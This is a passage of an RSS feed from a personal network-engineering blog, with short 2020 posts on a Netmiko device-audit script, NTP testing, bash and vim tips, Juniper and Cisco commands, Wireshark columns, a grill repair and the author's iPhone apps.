      <description>&lt;p&gt;I love simple automation and scripting.&lt;/p&gt;&#xA;&lt;p&gt;In this example, we had to audit thousands of network devices for a specific configuration line.  Doing this by hand would take hours, with Python it takes minutes.   (Yes, we will automate the fix at some point).&lt;/p&gt;&#xA;&lt;p&gt;Basic conditions and loops combined with a handful of network libraries and regular expression knowledge can go a long way to making a more productive day.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/local/bin/python3&#xA;&#xA;from netmiko import Netmiko&#xA;from getpass import getpass&#xA;&#xA;password = getpass()&#xA;&#xA;input = open(&amp;#39;washu-3850-inventory.txt&amp;#39;, &amp;#39;r&amp;#39;)&#xA;&#xA;for i in input:&#xA;    output = []&#xA;    devices = i.split()&#xA;&#xA;    if devices[0]:&#xA;        try:&#xA;            net_connect = Netmiko(host=devices[1], username=&amp;#34;myusername&amp;#34;, password=password, device_type=&amp;#34;cisco_ios&amp;#34;)&#xA;            net_connect.find_prompt()&#xA;        except:&#xA;            next&#xA;&#xA;        output.append(net_connect.send_command(&amp;#34;show run | inc frame&amp;#34;, use_textfsm=True))&#xA;&#xA;        if output[0]:&#xA;            print(&amp;#34;Found on &amp;#34; + devices[0] + &amp;#34; &amp;#34; + output[0])&#xA;        else:&#xA;            print(&amp;#34;Not found on &amp;#34; + devices[0])&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Testing a NTP server</title>
      <link>https://jasonmurray.org/posts/2020/ntptest/</link>
      <pubDate>Mon, 13 Jul 2020 09:42:55 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ntptest/</guid>
      <description>&lt;p&gt;Accurate timestamps on network and server hardware is critical for daily operations and troubleshooting.  The NTP service is used to keep the clocks in sync, but how can we tell if the services is running as expected?&lt;/p&gt;&#xA;&lt;p&gt;By running &lt;code&gt;ntpdate&lt;/code&gt; with the &lt;code&gt;-q&lt;/code&gt; option (query only, don&amp;rsquo;t set date) we can validate the server is returning a proper answer:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ ntpdate -q pool.ntp.org&#xA;server 163.237.218.19, stratum 1, offset 0.003985, delay 0.04179&#xA;server 72.30.35.88, stratum 2, offset 0.002441, delay 0.05338&#xA;server 74.6.168.72, stratum 2, offset 0.000726, delay 0.09357&#xA;server 98.191.213.1, stratum 2, offset -0.004938, delay 0.07932&#xA;13 Jul 09:42:28 ntpdate[9050]: adjust time server 163.237.218.19 offset 0.003985 sec&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Bash one-liner to generate markdown images</title>
      <link>https://jasonmurray.org/posts/2020/bashfor/</link>
      <pubDate>Sun, 12 Jul 2020 12:18:50 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/bashfor/</guid>
      <description>&lt;p&gt;I like these one line scripts that save a whole bunch of time.  I wish the entire world knew the power of scripting from the command line!&lt;/p&gt;&#xA;&lt;p&gt;A simple &lt;code&gt;bash&lt;/code&gt; one(ish)-liner to generate the &lt;code&gt;markdown&lt;/code&gt; syntax to display an entire directory of photos:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/www/static/images/faucet $ for i in `ls -1` ; do echo &amp;#34; &amp;#34;; echo $i; echo &amp;#34;\![faucet](/images/faucet/$i)&amp;#34; | sed -e &amp;#39;s/^\\//g&amp;#39;; done&#xA;&#xA;IMG_0385.JPG&#xA;![faucet](/images/faucet/IMG_0385.JPG)&#xA;&#xA;IMG_0616.JPG&#xA;![faucet](/images/faucet/IMG_0616.JPG)&#xA;&#xA;IMG_0968.JPG&#xA;![faucet](/images/faucet/IMG_0968.JPG)&#xA;&#xA;IMG_0995.JPG&#xA;![faucet](/images/faucet/IMG_0995.JPG)&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Installing Juniper vMX routers in GNS3</title>
      <link>https://jasonmurray.org/posts/2020/vmxongns3/</link>
      <pubDate>Sat, 11 Jul 2020 11:18:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vmxongns3/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Step by step instructions for importing the Juniper vMX platform into GNS3 and creating a multi-router topology.&lt;/p&gt;&#xA;&lt;p&gt;This guide uses the following software versions and setup:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Juniper vMX: 19.3R1.8&lt;/li&gt;&#xA;&lt;li&gt;GNS3: 2.2.11 (with vmware appliance)&lt;/li&gt;&#xA;&lt;li&gt;GNS3 desktop running on a macOS laptop&lt;/li&gt;&#xA;&lt;li&gt;GNS3 remote server running on vmware, configured as the &amp;lsquo;main server&amp;rsquo;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/gns3config.png&#34; alt=&#34;gns3 config&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example of a complete multi-router vMX and Cisco lab:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/gns3fulllabexample.png&#34; alt=&#34;gns3 config&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;With an active support contract, &lt;a href=&#34;https://support.juniper.net/support/downloads/?p=vmx&#34;&gt;download legal images directly from Juniper&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Moving configuration with the Juniper rename command</title>
      <link>https://jasonmurray.org/posts/2020/juniperrename/</link>
      <pubDate>Fri, 10 Jul 2020 13:23:15 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/juniperrename/</guid>
      <description>&lt;p&gt;The Juniper platform has a feature which allows configuration sections to be moved (renamed) with the &lt;code&gt;rename&lt;/code&gt; command.  For example, moving a port configuration from one interface to another.&lt;/p&gt;&#xA;&lt;p&gt;Original configuration:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[edit]&#xA;root@900w# show interfaces&#xA;ge-0/0/2 {&#xA;    unit 0 {&#xA;        family inet {&#xA;            address 192.168.0.1/24;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Moving the configuration:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[edit]&#xA;root@900w# rename interfaces ge-0/0/2 to ge-0/0/5&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Validating the move:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[edit]&#xA;root@900w# show interfaces&#xA;ge-0/0/5 {&#xA;    unit 0 {&#xA;        family inet {&#xA;            address 192.168.0.1/24;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Copying a binary file over a serial console</title>
      <link>https://jasonmurray.org/posts/2020/uuencode/</link>
      <pubDate>Thu, 09 Jul 2020 11:48:09 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/uuencode/</guid>
      <description>&lt;p&gt;In a previous life, I managed the global anycast DNS infrastructure for a large service provider.  Late one night, a routine maintenance event went south and I ended up locked out of a critical DNS server.&lt;/p&gt;&#xA;&lt;p&gt;To make matters more complicated, these systems were protected by strict IP filters on the network interfaces, host based firewalls, and a limited set of installed software.&lt;/p&gt;&#xA;&lt;p&gt;The servers were deployed all over the world in several colocation facilities, some staffed by technicians, some not.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Why is the maximum MTU size 1472 bytes when using ping?</title>
      <link>https://jasonmurray.org/posts/2020/icmpmtu/</link>
      <pubDate>Wed, 08 Jul 2020 11:37:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/icmpmtu/</guid>
      <description>&lt;p&gt;On most systems the default interface MTU size is set to 1500 bytes:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ens160: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500&#xA;        inet 192.168.86.5  netmask 255.255.255.0  broadcast 192.168.86.255&#xA;        inet6 fe80::20c:29ff:fe9f:7062  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;&#xA;        inet6 2600:6c40:7e80:2515:20c:29ff:fe9f:7062  prefixlen 64  scopeid 0x0&amp;lt;global&amp;gt;&#xA;        ether 00:0c:29:9f:70:62  txqueuelen 1000  (Ethernet)&#xA;        RX packets 69  bytes 6460 (6.4 KB)&#xA;        RX errors 0  dropped 4842873  overruns 0  frame 0&#xA;        TX packets 52  bytes 5902 (5.9 KB)&#xA;        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By using the &lt;code&gt;ping&lt;/code&gt; command we can validate our network path is capable of transferring 1500 byte packets.  But why does the command fail when the packet size is set to 1500 bytes?&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to tell if a DNS record is a top-level zone</title>
      <link>https://jasonmurray.org/posts/2020/domainvshost/</link>
      <pubDate>Tue, 07 Jul 2020 12:05:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/domainvshost/</guid>
      <description>&lt;p&gt;By querying for the &lt;a href=&#34;https://en.wikipedia.org/wiki/SOA_record&#34;&gt;SOA&lt;/a&gt; of a DNS record, we can determine if the answer is the top level-zone or not.&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;code&gt;host&lt;/code&gt; command, set the query option to return the SOA record.  If an answer is returned, the record is part of the top-level zone:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ host -t soa wustl.edu&#xA;wustl.edu has SOA record ns00.ip.wustl.edu. noc.wustl.edu. 2012476365 10800 3600 2419200 900&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sub-domains can be top level zones:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ host -t soa nts.wustl.edu&#xA;nts.wustl.edu has SOA record ns00.ip.wustl.edu. noc.wustl.edu. 2776394 10800 3600 2419200 900&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If there is no SOA record, the DNS entry is a standard record and not a top-level domain:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Hugo as a daily life log</title>
      <link>https://jasonmurray.org/posts/2020/hugodailylog/</link>
      <pubDate>Mon, 06 Jul 2020 12:03:42 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/hugodailylog/</guid>
      <description>&lt;p&gt;I have been working on automating my daily journal with Hugo, &lt;code&gt;vi&lt;/code&gt;, and a few &lt;code&gt;bash&lt;/code&gt; scripts.  The primary goal is to create a friction free system to update a journal entry every time I context switch between tasks or need to log something interesting.&lt;/p&gt;&#xA;&lt;p&gt;The workflow starts by creating a new journal file every morning with the following &lt;code&gt;bash&lt;/code&gt; script.   If the journal file does not already exist, a new file is created using the current date as the name, &lt;code&gt;vi&lt;/code&gt; is started for editing, and a live web server is loaded to view changes.   When &lt;code&gt;vi&lt;/code&gt; is closed, the file saves and the web server shuts down.   I put this script in the search $PATH:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using the sleep command on Cisco NX-OS to correlate log file events</title>
      <link>https://jasonmurray.org/posts/2020/nxsleep/</link>
      <pubDate>Sun, 05 Jul 2020 06:08:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/nxsleep/</guid>
      <description>&lt;p&gt;Inserting a set amount of time by using the &lt;code&gt;sleep XX&lt;/code&gt; statement between commands, can help to correlate multiple events in a log file by measuring the exact time between logged events.&lt;/p&gt;&#xA;&lt;p&gt;Inserting a 5 second delay between commands on Cisco NX-OS:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nx7k-MPLS(config-if)# shut ; sleep 5 ; no shut&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There was exactly 5 seconds between shutting and no-shutting an interface which helps to confirm the withdrawal and adding of routes in the IS-IS logs below:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable vim keybindings in vscode</title>
      <link>https://jasonmurray.org/posts/2020/vscodevim/</link>
      <pubDate>Sat, 04 Jul 2020 06:29:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vscodevim/</guid>
      <description>&lt;p&gt;Twenty five years ago &lt;code&gt;vi&lt;/code&gt; became my primary text editor.  Moving around with the &lt;code&gt;h&lt;/code&gt;, &lt;code&gt;j&lt;/code&gt;, &lt;code&gt;k&lt;/code&gt;, and &lt;code&gt;l&lt;/code&gt; as well as entering and exiting insert mode with &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;&amp;lt;esc&amp;gt;&lt;/code&gt; has become second nature.  Systems without a &lt;code&gt;vim&lt;/code&gt; mode have h, j, k, l, and &lt;code&gt;&amp;lt;esc&amp;gt;&lt;/code&gt; characters scattered throughout.&lt;/p&gt;&#xA;&lt;p&gt;While &lt;code&gt;vim&lt;/code&gt; is still my primary go-to editor, &lt;code&gt;vscode&lt;/code&gt; is starting to play a more active roll while programming and editing markdown.  As luck would have it, &lt;code&gt;vscode&lt;/code&gt; has a &lt;code&gt;vim&lt;/code&gt; mode extension.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Inserting date and time in vim using insert-mode mapping</title>
      <link>https://jasonmurray.org/posts/2020/dtsvim/</link>
      <pubDate>Fri, 03 Jul 2020 14:01:17 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/dtsvim/</guid>
      <description>&lt;p&gt;Using a text file and &lt;code&gt;vim&lt;/code&gt;, I keep a log file of daily events happening in my life and at work.  Before every new event, I insert the current date and time.  By using insert-mode key mappings, the date and time is automatically generated and inserted.&lt;/p&gt;&#xA;&lt;p&gt;Add the following line to the ~/.vimrc file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;inoremap idt &amp;lt;C-R&amp;gt;=strftime(&amp;#34;%c&amp;#34;)&amp;lt;CR&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Open &lt;code&gt;vim&lt;/code&gt; enter insert mode, and type: &lt;code&gt;idt&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Wed Jul  1 22:09:31 2020 - The date and time was inserted by pressing idt while in insert mode&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;~&#xA;-- INSERT --&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Replacing the quick-release regulator on an old 1998 Weber grill</title>
      <link>https://jasonmurray.org/posts/2020/grillregulator/</link>
      <pubDate>Thu, 02 Jul 2020 12:46:53 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/grillregulator/</guid>
      <description>&lt;p&gt;The Weber Genesis grills from 1998 use a quick-release style regulator, which looks similar to an air compress quick disconnect fitting.  Tanks that use these adaptors no longer exist, are hard to fill, and are reaching their end of life in terms of safety.&lt;/p&gt;&#xA;&lt;p&gt;By purchasing a the newer style &lt;a href=&#34;https://www.clagrills.com/grillpartshelp/glossary/qcc-1-connection.htm&#34;&gt;QCC&lt;/a&gt; 21&amp;quot; &lt;a href=&#34;https://www.amazon.com/gp/product/B000WEMH32/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;amp;psc=1&#34;&gt;regulator&lt;/a&gt; and a 1/8&amp;quot; to 3/4&amp;quot; flare &lt;a href=&#34;https://www.amazon.com/gp/product/B000BPK76G/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&amp;amp;psc=1&#34;&gt;adaptor&lt;/a&gt;, these grills can be converted to use the more widely available newer style tanks.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using markdown and pandoc to write documentation</title>
      <link>https://jasonmurray.org/posts/2020/pandoc/</link>
      <pubDate>Wed, 01 Jul 2020 15:59:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pandoc/</guid>
      <description>&lt;p&gt;For those people who would rather write documentation and worry less about what system your company wants you to store it in, consider using a light weight language such as &lt;code&gt;markdown&lt;/code&gt; paired with the conversion tool &lt;a href=&#34;https://pandoc.org/&#34;&gt;pandoc&lt;/a&gt;.  This combination allows the writer to focus on the content and publish the final copies in any format &lt;code&gt;pandoc&lt;/code&gt; can &lt;a href=&#34;https://pandoc.org/MANUAL.html#option--to&#34;&gt;convert&lt;/a&gt; to such as pdf, html, epub, wiki, or docx.&lt;/p&gt;&#xA;&lt;p&gt;Take the following &lt;code&gt;markdown&lt;/code&gt; input:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Adding additional data columns to Wireshark</title>
      <link>https://jasonmurray.org/posts/2020/wiresharkcolumns/</link>
      <pubDate>Tue, 30 Jun 2020 09:27:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wiresharkcolumns/</guid>
      <description>&lt;p&gt;A stock instance of Wireshark looks similar to this with frames, time, source, destination, protocol, etc as the columns:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/wiresharkstock.png&#34; alt=&#34;wireshark stock&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To add additional columns expand out, right click the field, and select &lt;code&gt;Apply as Column&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/wiresharkaddascolumn.png&#34; alt=&#34;wireshark add&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, I have added &lt;code&gt;sequence number&lt;/code&gt;, &lt;code&gt;next sequence number&lt;/code&gt;, &lt;code&gt;ack number&lt;/code&gt;, &lt;code&gt;bytes in flight&lt;/code&gt; and &lt;code&gt;iRRT&lt;/code&gt; to the default Wireshark columns:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/wiresharkaddedcolumns.png&#34; alt=&#34;wireshark add&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Managed or edit the displayed columns by right clicking the column title bar:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Prioritizing (QoS) devices on home network routers</title>
      <link>https://jasonmurray.org/posts/2020/wifipri/</link>
      <pubDate>Mon, 29 Jun 2020 11:14:03 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wifipri/</guid>
      <description>&lt;p&gt;Sharing precious Internet bandwidth with an entire family of network hungry devices can be a problem.  The kids Xbox, online streaming videos, social media, online backup software, is all competing for the last drop of Internet capacity.   But what happens to that online meeting when there is no capacity left?  Choppy audio, fuzzy video, and drops which lead to a poor experience and upset coworkers.&lt;/p&gt;&#xA;&lt;p&gt;There is a solution. Many modern home routers have a feature to prioritize specific devices over non-essential ones.  How to adjust these settings is router specific, but searching for QoS or device prioritization with your router model number should return the proper instructions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Software on my iDevices (iPhone and iPad)</title>
      <link>https://jasonmurray.org/posts/2020/iphonesoftware/</link>
      <pubDate>Sun, 28 Jun 2020 08:49:13 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/iphonesoftware/</guid>
      <description>&lt;p&gt;Examining the software on nerdy people&amp;rsquo;s devices is like having a window into their soul.  How do they operate, what are they interested in, what makes them tick?   Look no farther than the apps on their phones.&lt;/p&gt;&#xA;&lt;p&gt;For those interested in knowing a little more about me, here is a list of the apps I have used within the past month on my iDevices.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authentication:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://duo.com/&#34;&gt;Duo&lt;/a&gt;: All personal systems are Duo 2FA integrated.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.lastpass.com/&#34;&gt;LastPass&lt;/a&gt;: All accounts have unique passwords.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://lastpass.com/auth/&#34;&gt;Authenticator&lt;/a&gt;: I enable 2FA on every service that offers it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Books:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.overdrive.com/apps/libby/&#34;&gt;Libby&lt;/a&gt;: Library books.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.amazon.com/kindle-dbs/fd/kcp/&#34;&gt;Kindle&lt;/a&gt;: Purchased books.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Files Management:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.icloud.com/&#34;&gt;Files (iCloud)&lt;/a&gt;: iCloud is the ~/Documents directory across all devices.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.google.com/drive/&#34;&gt;Google Drive&lt;/a&gt;: Used primarily for real-time document collaboration.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://box.com/&#34;&gt;Box&lt;/a&gt;: Work files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Home Automation:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.ecobee.com/&#34;&gt;EcoBee&lt;/a&gt;: Home thermostat.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.smartthings.com/&#34;&gt;SmartThings&lt;/a&gt;: Light switches, buttons, and sensors.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.irobot.com/&#34;&gt;iRobot&lt;/a&gt;: Vacuums&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://assistant.google.com/&#34;&gt;Google Home&lt;/a&gt;: Manages the Google Home devices.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://store.google.com/us/product/google_wifi_first_gen&#34;&gt;Google Wifi&lt;/a&gt;: Manages the home wireless network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Kids:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.powerschool.com/&#34;&gt;PowerSchool&lt;/a&gt;: Online report cards.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.photomath.net/&#34;&gt;PhotoMath&lt;/a&gt;: Solve math problems by taking a photo - Need I say more?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Mapping:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.waze.com/&#34;&gt;Waze&lt;/a&gt;: Avoiding traffic and slowing down for speed traps.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.google.com/maps&#34;&gt;Google Maps&lt;/a&gt;: Finding stores.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.gaiagps.com/&#34;&gt;Gaia GPS&lt;/a&gt;: Backpacking and hiking maps with real-time tracking.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://transitapp.com/&#34;&gt;Transit&lt;/a&gt;: Public transit schedule.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://buy.garmin.com/en-US/US/p/125677&#34;&gt;Connect&lt;/a&gt;: Logging and displaying data from my Garmin watch.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.cach.ly/&#34;&gt;Cachly&lt;/a&gt;: GeoCaching, because adults still enjoy finding toys in the woods.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Messaging:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.google.com/gmail/about/&#34;&gt;Gmail&lt;/a&gt;: Personal email.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook&#34;&gt;Outlook&lt;/a&gt;: Work email.&lt;/li&gt;&#xA;&lt;li&gt;Messages: Text messages&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://slack.com/&#34;&gt;Slack&lt;/a&gt;: Personal and work communication.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.microsoft.com/en-us/microsoft-365/microsoft-teams/apps-and-workflows&#34;&gt;Teams&lt;/a&gt;: Work communication and meetings.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://hangouts.google.com/&#34;&gt;Hangouts&lt;/a&gt;: Personal communication.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://groupme.com/&#34;&gt;GroupMe&lt;/a&gt;: Family and external group collaboration.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://signal.org/&#34;&gt;Signal&lt;/a&gt;: Communicate privately.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Misc:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.accuweather.com/&#34;&gt;AccuWeather&lt;/a&gt;: Fine weather app.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://adguard.com/&#34;&gt;AdGuard&lt;/a&gt;: Browsing the web ad free on mobile devices.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://apps.apple.com/us/app/gboard-the-google-keyboard/id1091700242&#34;&gt;Gboard&lt;/a&gt;: Swipe keyboard.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.thetileapp.com/&#34;&gt;Tile&lt;/a&gt;: Find lost stuff.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://translate.google.com/intl/en/about/&#34;&gt;Translate&lt;/a&gt;: Language translation for written, spoken, and images.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;News:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.reddit.com/&#34;&gt;Reddit&lt;/a&gt;: News, current events, and entertainment.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://reader.miniflux.app/&#34;&gt;Miniflux&lt;/a&gt; (shortcut to website): RSS feeds aggregate here.  From personal blogs, news sites, to vendor information.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://reederapp.com/&#34;&gt;Reeder&lt;/a&gt;: Alternative reader attached to Miniflux RRS feed aggregator.&lt;/li&gt;&#xA;&lt;li&gt;Podcasts&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://news.ycombinator.com/&#34;&gt;HackerNews&lt;/a&gt; (shortcut to website): If I could only read one technology news site, this would be it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://news.stlpublicradio.org/#stream/&#34;&gt;STLPublicRadio&lt;/a&gt;: St. Louis public radio is my local news source.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Note Taking / Documentation:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://evernote.com/&#34;&gt;Evernote&lt;/a&gt;: Personal notes, journals, bookmarks, receipts, todo, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.atlassian.com/software/confluence&#34;&gt;Confluence&lt;/a&gt;: Of all the wiki-like collaboration software I have used, this is my least favorite, but work uses it so I have no choice.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app?rtc=1&#34;&gt;One Note&lt;/a&gt;: Work meeting notes.&lt;/li&gt;&#xA;&lt;li&gt;Voice Memos: Sometimes there is no substitute for recorded voice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Photo Management&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Camera: Stock camera.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.google.com/photos/about/&#34;&gt;Google Photos&lt;/a&gt;: All photos backup here.&lt;/li&gt;&#xA;&lt;li&gt;Photos: All photos go into iCloud&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.google.com/photos/scan/&#34;&gt;PhotoScan&lt;/a&gt;: Excellent photo scanner.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Productivity:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note: these apps are an exception to the past month rule.  I keep them all so I can open any file sent to me.&lt;/li&gt;&#xA;&lt;li&gt;Word&lt;/li&gt;&#xA;&lt;li&gt;Excel&lt;/li&gt;&#xA;&lt;li&gt;PowerPoint&lt;/li&gt;&#xA;&lt;li&gt;Docs&lt;/li&gt;&#xA;&lt;li&gt;Sheets&lt;/li&gt;&#xA;&lt;li&gt;Pages&lt;/li&gt;&#xA;&lt;li&gt;Numbers&lt;/li&gt;&#xA;&lt;li&gt;Keynote&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Programming / Text Editing / Remote 